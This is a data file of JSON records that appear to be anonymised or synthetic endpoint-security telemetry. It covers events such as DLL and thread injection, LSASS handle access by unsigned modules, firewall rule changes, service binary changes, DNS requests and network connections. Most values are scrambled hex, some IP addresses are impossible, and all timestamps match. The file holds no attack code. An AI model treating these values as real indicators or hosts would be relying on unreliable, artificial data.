-{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"}
-{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"}
-{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
-{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"}
-{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"}
-{"ExitCode":"0","ParentProcessId":"2000300900003","ContextThreadId":"632014600074400","aip":"216.160.83.56","ConHostId":"6810","UserSid":"S-78552-69545-47377","CycleTime":"380603073","event_platform":"Win","ConHostProcessId":"2000300900003","MaxThreadCount":"7","EventOrigin":"45","ImageSubsystem":"2","id":"f3b8bd9b2757d9904f845a44ff61827fa755","EffectiveTransmissionClass":"3","timestamp":"1743508799999","KernelTime":"0","UserTime":"0","event_simpleName":"EndOfProcess","RawProcessId":"42084","ContextTimeStamp":"1758502938.869","ConfigStateHash":"710307050","ContextProcessId":"5040620588024","SHA256HashData":"f2d9a06bd0492ecb6f4a35bede5270e5171bc007ed72f3ec451b3de842639423","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"8040620588024","Entitlements":"46","name":"e8d15f653d9c08b","ProcessStartTime":"1745927326.269","aid":"3b473364ed16d25221bdb0b435aac52a","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ExecutableDeleted","ContextTimeStamp":"1754418925.502","ConfigStateHash":"710307050","ContextProcessId":"9001004100012","IrpFlags":"1730","ContextThreadId":"560346007270302","MinorFunction":"0","aip":"216.160.83.56","FileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","MajorFunction":"40","Entitlements":"96","name":"a1721c8914da805eb47","EventOrigin":"1","OperationFlags":"0","id":"b43f550a47cfaab7904ddcd4c778b2d7d2e1","FileObject":"0","EffectiveTransmissionClass":"3","aid":"39074f37291ca6f2d189c1e110e04dfc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
-{"event_simpleName":"FileDeleteInfo","ContextTimeStamp":"1758466867.856","ConfigStateHash":"3440491101","ContextProcessId":"920132208508","ContextThreadId":"549000000070475","aip":"81.2.69.192","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"400800208204","Entitlements":"56","name":"e1326813e53e44b4","EventOrigin":"3","id":"f17c8a57d6ffa5f985caf45f729cb254772a","EffectiveTransmissionClass":"3","aid":"e1a82faad25f1bc57da5f8b7457d9014","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\9134161b\\b169fe25\\44ca.TMP"}
-{"Status":"0","event_simpleName":"FileOpenInfo","ContextTimeStamp":"1762335422.843","ConfigStateHash":"9250777000","ContextProcessId":"9011580900835","ContextThreadId":"920000001740500","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","ShareAccess":"7","DesiredAccess":"5040660","TreeId":"250760900008","Entitlements":"26","name":"c4a834c02a00fb","EventOrigin":"3","id":"46a19a602437699cf4aefb060e91441ba891","EffectiveTransmissionClass":"3","aid":"ea08505420aa828a0a52a6eed3c8a196","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
-{"event_simpleName":"FileRenameInfo","ContextTimeStamp":"1758191223.574","ConfigStateHash":"40820000","ContextProcessId":"50314320728270","SourceFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\49830210.WibuCmActDyn","ContextThreadId":"794611930067120","aip":"81.2.69.142","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TreeId":"407060334007","Entitlements":"36","name":"f4407c8e4882cbdd","EventOrigin":"3","id":"2d662aa35187373d94203d08fc2e4e7115c6","EffectiveTransmissionClass":"3","aid":"ca48acb776296fd7a6e35ee8c4bbde6d","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\539d13bb\\303abfe3\\64211dc1\\4feae\\754cfa0e.TMP"}
-{"event_simpleName":"FileSystemOperationDetectInfo","ContextTimeStamp":"1761719307.584","ConfigStateHash":"710307050","TemplateDisposition":"40","ContextProcessId":"1000790287600","FileSystemOperationType":"3","TemplateInstanceId":"57521","aip":"216.160.83.56","FsOperationClassification":"67","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"6725e7","FsOperationClassificationFlags":"1","PatternId":"24871","ImageFileName":"6725e7","Entitlements":"66","name":"b22ddf4c03b1a8b30f84e33786dd87b","EventOrigin":"1","id":"ad8c2e5d31cff1e8cdc3892a874ba4927d1a","EffectiveTransmissionClass":"3","aid":"ca2eedaa43a7333759deb5a0191c5313","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\71e36eee\\ce423a9b\\a5e333\\3ec061.sst"}
-{"event_simpleName":"FirewallChangeOption","ContextTimeStamp":"1754850825.482","ConfigStateHash":"900805208","FirewallProfile":"1","ContextProcessId":"3001999016003","aip":"89.160.20.128","FirewallOption":"78415d0f02a966","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"36","name":"bd2f52430b3a6e28fa81dc","EventOrigin":"45","id":"ee4fea12623693e1e2aaf450974ca9068925","FirewallOptionNumericValue":"1","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallDeleteRule","ContextTimeStamp":"1747634138.862","ConfigStateHash":"900805208","ContextProcessId":"2001999016003","aip":"89.160.20.112","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"96","name":"73c6cc568a65a7c085e0","EventOrigin":"45","id":"4ee907bd437184018039dbce46b3b7fb9586","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"FirewallSetRule","ContextTimeStamp":"1751555238.829","ConfigStateHash":"900805208","ContextProcessId":"1001999016003","aip":"81.2.69.144","FirewallRuleId":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"26","name":"e6fc8b7f15db47d1f","EventOrigin":"45","id":"b03302898ff47ac683fe0c4e7679c48615d2","EffectiveTransmissionClass":"3","aid":"ee24e7d1ac6add25f7a7969844ad0df3","FirewallRule":"fb.26|Action=Allow|Active=TRUE|Dir=In|App=C:\\8027a4f5\\97cf27ba\\bc713e9c\\685ac68f.exe|Name=LaunchPortal|Desc=SOM|","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Options":"94007005","ContextThreadId":"50000395917240","MinorFunction":"0","aip":"216.160.83.56","Information":"1","FileIdentifier":"8b4857694cc53ad00ce1993ae1b2f7dd7e2cb5d73383c306","FltRelatedObjects":"32460687653001750097","event_platform":"Win","ShareAccess":"5","EventOrigin":"1","FltCompletionContext":"53130800032000003010","id":"92f7671f25cc7e1d6c1c2c3958b4a65c9c49","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"FsPostOpenSnapshotFile","ContextTimeStamp":"1749818799.590","ConfigStateHash":"8080600092","ContextProcessId":"7127089080000","IrpFlags":"2500","HandleCreateAuthenticationId":"830","FltCallbackData":"20591370484490000796","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"3900073","SourceEventUniqueId":"903600070008873043","Entitlements":"96","name":"c7a00dc61cb10ab411c95598","OperationFlags":"0","aid":"d3a1c99f621d3d6474555746950ce9b6","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\da2d906a\\d598026\\dc9ec376\\b79606\\be8"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"2","EventOrigin":"45","InterfaceGuid":"d1c8f153a6a851a17b18fe88f1dbdc9254bf","RpcClientProcessId":"9757071607353","id":"c7017a5199f1e88eb4a44227da2d1a7c8b0d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"HostedServiceStarted","TargetThreadId":"482081070860200","ContextTimeStamp":"1753416061.221","UserName":"f3c32fdf5aef1041","ConfigStateHash":"3440491101","InterfaceVersion":"0","RpcClientThreadId":"415000840610900","AuthenticationId":"903030080","ServiceDisplayName":"8a7cb45","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"6009006000008","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\8a7cb45.dll","RpcOpNum":"60","Entitlements":"76","name":"10e85fd7df0a53c38814f5","aid":"22924ad875ce834067bd29857dc11a92","RpcNestingLevel":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"HostedServiceStopped","TargetThreadId":"51930000290120","ContextTimeStamp":"1758159357.606","ConfigStateHash":"3440491101","aip":"89.160.20.112","ServiceDisplayName":"61b6fb","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"2762512126120","Entitlements":"66","name":"c503d72ad653c0dc87f730","EventOrigin":"1","id":"db2dfa574e4ca1c775249f4fae390c93c57f","EffectiveTransmissionClass":"3","aid":"0400bce96c16b71f27978572adb3d4fd","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"TemplateInstanceId":"5008","aip":"89.160.20.112","HttpRequestHeader":"94cd/394e821c.html HTTP/76a3503a/1b8d6be3/00c0ab07/2cfb9ad5/4e2e1f0b","event_platform":"Win","PatternId":"28450","EventOrigin":"1","id":"5c80fd2a838414022b2f083219c6395b3c6a","ParentCommandLine":"82\\ab7e5c1\\c39d646f.EXE","EffectiveTransmissionClass":"2","timestamp":"1743508799999","HttpInternalSource":"2","event_simpleName":"HttpRequestDetect","ContextTimeStamp":"1754127300.344","UserName":"30d376","ConfigStateHash":"9382309105","ContextProcessId":"4064545006008","HttpUrl":"08cf20/7773b6bd.com/394e821c.html","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"54d\\9134161b\\033b4ae8\\44cb\\440b7488\\0dc8e72.EXE\" /n \"C:\\6b0cc\\30d376\\c4deb08f\\23555a08\\4c840c73.docx\" /o \"\"","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\033b4ae8\\4813\\440b7488\\0dc8e72.EXE","Entitlements":"36","name":"8d879a136063d7587c6","aid":"561ee5011fb41796a5d3d22ecc19d681","HttpMethod":"1","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ModuleCharacteristics":"86","ContextThreadId":"137030102310","aip":"81.2.69.144","OriginalEventTimeStamp":"1749976122.404","SHA1HashData":"9692067083780606753097782045800757094700","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","EventOrigin":"1","id":"f5638ae317f9e090033436354c7cf5d36549","EffectiveTransmissionClass":"3","ModuleSize":"40360682","timestamp":"1743508799999","event_simpleName":"ImageHash","ContextTimeStamp":"1752117943.580","ConfigStateHash":"5900030004","ContextProcessId":"10705000160","MD5HashData":"896a7b972e546354ae731504897bb216","SHA256HashData":"b04af825f79214304a15028ec496fa629750d2998376793532f6bb3629262fd9","ConfigBuild":"2c8b.4.1403a74.4f","TargetProcessId":"10705000160","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\42955da6\\10b3abfd\\27b5ee41\\dad56584.exe","Entitlements":"16","name":"dccbe56e7b3","PrimaryModule":"1","aid":"64cded9cf5ef1c609147019ee3184217","SignInfoFlags":"1754009","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ThreadStartAddress":"947500501770690","InjectedThreadFlag":"430","ContextThreadId":"140004900194068","aip":"81.2.69.192","event_platform":"Win","UserThread":"1","TargetThreadModule":"\\63dc8ea2\\1c329924.dll","EventOrigin":"1","id":"5677e0f1c2f59a879c8c966e3f2583d1b374","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"InjectedThread","TargetThreadId":"505479000700240","RawProcessId":"7310","ContextTimeStamp":"1749520856.920","ConfigStateHash":"240271348","ContextProcessId":"3006607000981","ThreadStartContext":"5177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"3000303437040","Entitlements":"36","name":"367b7572c21bead4","RawThreadId":"5008","aid":"8fb3daf730de8e73c353f0c4137a51b5","SourceThreadStartAddress":"984100382000810","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-96058-21257-98492","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"1","Size":"58518","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","FileIdentifier":"f6d5e5fb805bf40c0b18541da19518120e0c8b72f04940a8","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","id":"162ec74e6e37e7616a81feca0a38cbc4e060","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JarFileWritten","ContextTimeStamp":"1762090431.810","ConfigStateHash":"90089570","ContextProcessId":"3097482600003","IrpFlags":"0","SHA256HashData":"c2b46dde427de7e0b28c82cdeedc919d8a60e3c8fdcb1565b03b26d576b7f503","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"45bc1cac0e68ad976","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\4fad1919.jar"}
-{"FileOperatorSid":"S-93967-95057-39657-2269-87803-54839-16636","ContextBaseFileName":"939905f021b64c","FileCategory":"6","Size":"5007","MinorFunction":"0","ContextThreadId":"67010543097020","aip":"81.2.69.192","IsOnNetwork":"0","FileIdentifier":"f9187305c797616a091da12f20ae9d2efa91b48088627f5e","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\fb6901a4","id":"f1d9633f3c4c1752450748ee02e070b772d4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaClassFileWritten","ContextTimeStamp":"1750434917.905","ConfigStateHash":"3440491101","ContextProcessId":"568260708421","IrpFlags":"0","AuthenticationId":"9006720370","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"f5ccfb1a5e748e3a1361b9","OperationFlags":"0","aid":"2a5a4e5c2a642c985c06f8a712f54c03","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\77d9dc83\\6f9505f\\d6c5e3b\\d199e12\\bba61ca6\\2d931c68.class"}
-{"ThreadStartAddress":"7506925004555","InjectedThreadFlag":"940","ContextThreadId":"7029002010518039","aip":"216.160.83.56","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"5c016fbc5910db79ac911556c19d9efb88c6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"JavaInjectedThread","TargetThreadId":"8976303018009002","RawProcessId":"60037","ThreadStartBytes":"9ccbd43213c4cce128ebb1afece9b6e1fc1fa5975d32a036fd154b43248f43de","ContextTimeStamp":"1750712370.441","ConfigStateHash":"1080600092","ContextProcessId":"210000852854060","ThreadStartContext":"7031100880000","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"800000030087834","Entitlements":"36","name":"cad7121649b58818d895","RawThreadId":"50455","aid":"2278e50b41a263c2d8421b5135a380a7","SourceThreadStartAddress":"270106100035044","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"}
-{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
